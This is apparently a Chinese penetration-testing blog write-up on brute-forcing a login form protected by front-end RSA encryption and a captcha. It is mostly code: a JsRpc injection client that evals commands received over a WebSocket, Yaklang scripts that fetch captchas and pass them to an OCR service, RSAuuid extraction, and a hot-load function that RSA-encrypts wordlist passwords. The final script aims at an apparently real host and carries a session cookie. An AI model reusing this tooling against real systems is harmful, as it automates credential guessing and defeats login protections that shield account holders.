前端加解密实战记录

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已知RSA，JsRpc注入，下断点

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var rpc_client_id, Hlclient = function (wsURL) {
    this.wsURL = wsURL;
    this.handlers = {
        _execjs: function (resolve, param) {
            var res = eval(param)
            if (!res) {
                resolve("没有返回值")
            } else {
                resolve(res)
            }
        }
    };
    this.socket = undefined;
    if (!wsURL) {
        throw new Error('wsURL can not be empty!!')
    }
    this.connect()
}
Hlclient.prototype.connect = function () {
    if (this.wsURL.indexOf("clientId=") === -1 && rpc_client_id) {
        this.wsURL += "&clientId=" + rpc_client_id
    }
    console.log('begin of connect to wsURL: ' + this.wsURL);
    var _this = this;
    try {
        this.socket = new WebSocket(this.wsURL);
        this.socket.onmessage = function (e) {
            _this.handlerRequest(e.data)
        }
    } catch (e) {
        console.log("connection failed,reconnect after 10s");
        setTimeout(function () {
            _this.connect()
        }, 10000)
    }
    this.socket.onclose = function () {
        console.log('rpc已关闭');
        setTimeout(function () {
            _this.connect()
        }, 10000)
    }
    this.socket.addEventListener('open', (event) => {
        console.log("rpc连接成功");
    });
    this.socket.addEventListener('error', (event) => {
        console.error('rpc连接出错,请检查是否打开服务端:', event.error);
    })
};
Hlclient.prototype.send = function (msg) {
    this.socket.send(msg)
}
Hlclient.prototype.regAction = function (func_name, func) {
    if (typeof func_name !== 'string') {
        throw new Error("an func_name must be string");
    }
    if (typeof func !== 'function') {
        throw new Error("must be function");
    }
    console.log("register func_name: " + func_name);
    this.handlers[func_name] = func;
    return true
}
Hlclient.prototype.handlerRequest = function (requestJson) {
    var _this = this;
    try {
        var result = JSON.parse(requestJson)
    } catch (error) {
        console.log("请求信息解析错误", requestJson);
        return
    }
    if (result["registerId"]) {
        rpc_client_id = result['registerId']
        return
    }
    if (!result['action'] || !result["message_id"]) {
        console.warn('没有方法或者消息id,不处理');
        return
    }
    var action = result["action"], message_id = result["message_id"]
    var theHandler = this.handlers[action];
    if (!theHandler) {
        this.sendResult(action, message_id, 'action没找到');
        return
    }
    try {
        if (!result["param"]) {
            theHandler(function (response) {
                _this.sendResult(action, message_id, response);
            })
            return
        }
        var param = result["param"]
        try {
            param = JSON.parse(param)
        } catch (e) {
        }
        theHandler(function (response) {
            _this.sendResult(action, message_id, response);
        }, param)
    } catch (e) {
        console.log("error: " + e);
        _this.sendResult(action, message_id, e);
    }
}
Hlclient.prototype.sendResult = function (action, message_id, e) {
    if (typeof e === 'object' && e !== null) {
        try {
            e = JSON.stringify(e)
        } catch (v) {
            console.log(v)//不是json无需操作
        }
    }
    this.send(JSON.stringify({"action": action, "message_id": message_id, "response_data": e}));
}

var demo = new Hlclient("ws://127.0.0.1:12080/ws?group=test");

注入在encrypt之前即可

调试得到模数

抓包

劫持到验证码

劫持到key获取响应包，对照获得模数、公钥指数、RSAUUID

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10001,9594cf81071b0b7e0b20d49c0493ec36140a136aa881a11ad7bef37ac2a2870cd75f0a5fc456e722f4712de3ac8bfe44e48b1c03080cd3460573d2bbbc19d3d98971e443e60c2a27eed7cb36e024bbedb789486bdaff184d402aa03dfac3461077ec264d9ad6a7b47e4266e6f9e6fca5f998a719a23ca2361ea8b3b0ccca2d55,9d74bbbe37ff2e79ff6082983b6e78a8

多次测试发现RSAuuid为动态参数，并且有检查，同时存在验证码检查，无法直接使用python发包测试

考虑yakit热加载并使用序列测试
流程如下
第一个请求包先向验证码接口发包
第一个响应包获取验证码图片->发送到验证码OCR服务得到验证码

第二个请求包向key接口发包
劫持第二个响应包，提取模数、公钥指数（硬编码写入即可）RSAUUID（需要从响应包中提取）

构造第三个请求包 使用RSAencode（热加载）,利用公钥对输入（passwd）加密

验证码

接下来开始构造（这里因为代理环境原因，验证码ocr不能正确使用，经过测试也无法完全识别，就留个板子和思路）

这里我用yakit插件市场里的验证码插件改了一点，改成了yaklang形式进行测试
注意这里的请求头是yakit自带靶场里的验证码部分，使用的时候需要修改为目标的请求头
下面最后再放热加载里的

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captchaRecognizer = func() {
    // 1. 定义HTTP请求模板
    captchaRequest = `GET /verification/code HTTP/1.1
Host: localhost:8787
sec-ch-ua-platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Sec-Fetch-Site: same-origin
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Dest: document
sec-ch-ua-mobile: ?0
Referer: http://localhost:8787/
Sec-Fetch-User: ?1
Accept-Language: zh-CN,zh;q=0.9
Sec-Fetch-Mode: navigate
sec-ch-ua: "Chromium";v="136", "Google Chrome";v="136", "Not.A/Brand";v="99"
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate, br, zstd
Cookie: YSESSIONID=2x0GhLYHatymPlOkEIuHaLinX7P`

    ocrRequest = `POST /reg HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Basic f0ngauth`


    Cookie = poc.GetHTTPPacketHeader(captchaRequest /*type: []byte*/, 'Cookie' /*type: string*/)

    // 2. 获取验证码图片
    rsp1, req1 = poc.HTTP(captchaRequest, poc.replaceHeader('Cookie', Cookie))~

    // 3. 处理验证码图片
    rawImage = poc.GetHTTPPacketBody(rsp1)
    image = codec.EncodeBase64(rawImage)
    println(image)
    rsp2, req2 = poc.HTTP(ocrRequest, poc.replaceBody(image  /*type: []byte*/, false /*type: bool*/))~
    captcha = poc.GetHTTPPacketBody(rsp2 /*type: []byte*/)
    println("code:",captcha)
}
captchaRecognizer()

这个接口貌似有点菜，使用yakit自带的靶场进行测试的时候给我整红温了

RSAuuid提取

使用数据提取器提取并加入参数中

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[a-fA-F0-9]{32}$

正则表达式匹配

该参数可以直接继承，下一个请求包中使用

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{{p(RSAuuid)}}

即可直接调用

RSA

RSA加密的热加载：找了下yaklang官方文档里没有crypto类的相关方法，所以这里先用python生成合适的公钥再扔到热加载里（已知模数和指数不会改变）

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from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
import binascii
import base64

rsaUUID="9d74bbbe37ff2e79ff6082983b6e78a8"

# 提供的模数（十六进制字符串）
modulus_hex = "9594cf81071b0b7e0b20d49c0493ec36140a136aa881a11ad7bef37ac2a2870cd75f0a5fc456e722f4712de3ac8bfe44e48b1c03080cd3460573d2bbbc19d3d98971e443e60c2a27eed7cb36e024bbedb789486bdaff184d402aa03dfac3461077ec264d9ad6a7b47e4266e6f9e6fca5f998a719a23ca2361ea8b3b0ccca2d55"

# 假设的公钥指数（十六进制字符串）
public_exponent_hex = "010001"

# 将十六进制字符串转换为整数
modulus = int(modulus_hex, 16)
public_exponent = int(public_exponent_hex, 16)

# 创建RSA公钥对象
key = RSA.construct((modulus, public_exponent))

# 生成PEM格式的公钥
public_key_pem = key.export_key(format='PEM')

# 打印PEM格式的公钥
print(public_key_pem.decode('utf-8'))

# 将PEM格式的公钥转换为Base64字符串
public_key_base64 = base64.b64encode(public_key_pem).decode('utf-8')

# 打印Base64格式的公钥
print("Base64格式的公钥:", public_key_base64)
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RSAencode = func(s) {
    /*modulesHex= 9594cf81071b0b7e0b20d49c0493ec36140a136aa881a11ad7bef37ac2a2870cd75f0a5fc456e722f4712de3ac8bfe44e48b1c03080cd3460573d2bbbc19d3d98971e443e60c2a27eed7cb36e024bbedb789486bdaff184d402aa03dfac3461077ec264d9ad6a7b47e4266e6f9e6fca5f998a719a23ca2361ea8b3b0ccca2d55*/
    
    /*exponentHex = "010001"*/

    publicKey64 = `LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FDVmxNK0JCeHNMZmdzZzFKd0VrK3cyRkFvVAphcWlCb1JyWHZ2TjZ3cUtIRE5kZkNsL0VWdWNpOUhFdDQ2eUwva1RraXh3RENBelRSZ1Z6MHJ1OEdkUFppWEhrClErWU1LaWZ1MThzMjRDUzc3YmVKU0d2YS94aE5RQ3FnUGZyRFJoQjM3Q1pObXRhbnRINUNadWI1NXZ5bCtaaW4KR2FJOG9qWWVxTE93ek1vdFZRSURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQ==` /* base64格式的publicKey */
    publicKey = codec.DecodeBase64(publicKey64)~ 
    print("公钥：",publicKey64)
    publicKey = []byte(publicKey)


    password = s /* 输入 */
    resultList = []

    jsonInput = json.dumps(password)
    result = codec.RSAEncryptWithPKCS1v15(publicKey , jsonInput)~
    base64Result = codec.EncodeBase64(result)

    return base64Result

}

此时在请求包中调用

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{{yak(RSAencode({{x(passwd_top)}}))}}

就可以开爆了

final

这里修改一下序列逻辑，仅采用两个请求包，第一个获得key，第二个请求包利用热加载的beforerequest魔术方法向验证码接口拿验证码再发到OCR接口识别，最后在请求包中直接调用验证码即可
以下是请求包2完整的热加载方法：

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RSAencode = func(s) {
    /*modulesHex= 9594cf81071b0b7e0b20d49c0493ec36140a136aa881a11ad7bef37ac2a2870cd75f0a5fc456e722f4712de3ac8bfe44e48b1c03080cd3460573d2bbbc19d3d98971e443e60c2a27eed7cb36e024bbedb789486bdaff184d402aa03dfac3461077ec264d9ad6a7b47e4266e6f9e6fca5f998a719a23ca2361ea8b3b0ccca2d55*/
    
    /*exponentHex = "010001"*/

    publicKey64 = `LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FDVmxNK0JCeHNMZmdzZzFKd0VrK3cyRkFvVAphcWlCb1JyWHZ2TjZ3cUtIRE5kZkNsL0VWdWNpOUhFdDQ2eUwva1RraXh3RENBelRSZ1Z6MHJ1OEdkUFppWEhrClErWU1LaWZ1MThzMjRDUzc3YmVKU0d2YS94aE5RQ3FnUGZyRFJoQjM3Q1pObXRhbnRINUNadWI1NXZ5bCtaaW4KR2FJOG9qWWVxTE93ek1vdFZRSURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQ==` /* base64格式的publicKey */
    publicKey = codec.DecodeBase64(publicKey64)~ 
    print("公钥：",publicKey64)
    publicKey = []byte(publicKey)


    password = s /* 输入 */
    resultList = []

    jsonInput = json.dumps(password)
    result = codec.RSAEncryptWithPKCS1v15(publicKey , jsonInput)~
    base64Result = codec.EncodeBase64(result)

    return base64Result

}

beforerequest = func(req) {
    // 1. 定义HTTP请求模板
    captchaRequest = `GET /example/validateImgCode?test=0.21286129382580565 HTTP/1.1
Host: mboss.acc.gdtel.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: example.com
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=98325FD634522C5A18020149292D935C
`

ocrRequest = `POST /reg HTTP/1.1
Host: 127.0.0.1:8888
Authorization: Basic f0ngauth`


    Cookie = poc.GetHTTPPacketHeader(captchaRequest /*type: []byte*/, 'Cookie' /*type: string*/)

    // 2. 获取验证码图片
    rsp1, req1 = poc.HTTP(captchaRequest, poc.replaceHeader('Cookie', Cookie))~

    // 3. 处理验证码图片
    rawImage = poc.GetHTTPPacketBody(rsp1)
    image = codec.EncodeBase64(rawImage)
    println(image)
    rsp2, req2 = poc.HTTP(ocrRequest, poc.replaceBody(image  /*type: []byte*/, false /*type: bool*/))~
    captcha = poc.GetHTTPPacketBody(rsp2 /*type: []byte*/)
    println("code:",captcha)
    
    req = str.ReplaceAll(string(req) /*type: string*/, "__captcha__" /*type: string*/, string(captcha) /*type: string*/)
    return []byte(req)

}


最终的请求包如下：

这里因为内网环境要走53008端口，流量从这里出不知道为什么走不回ocr服务的端口了，就没有测试结果。

≡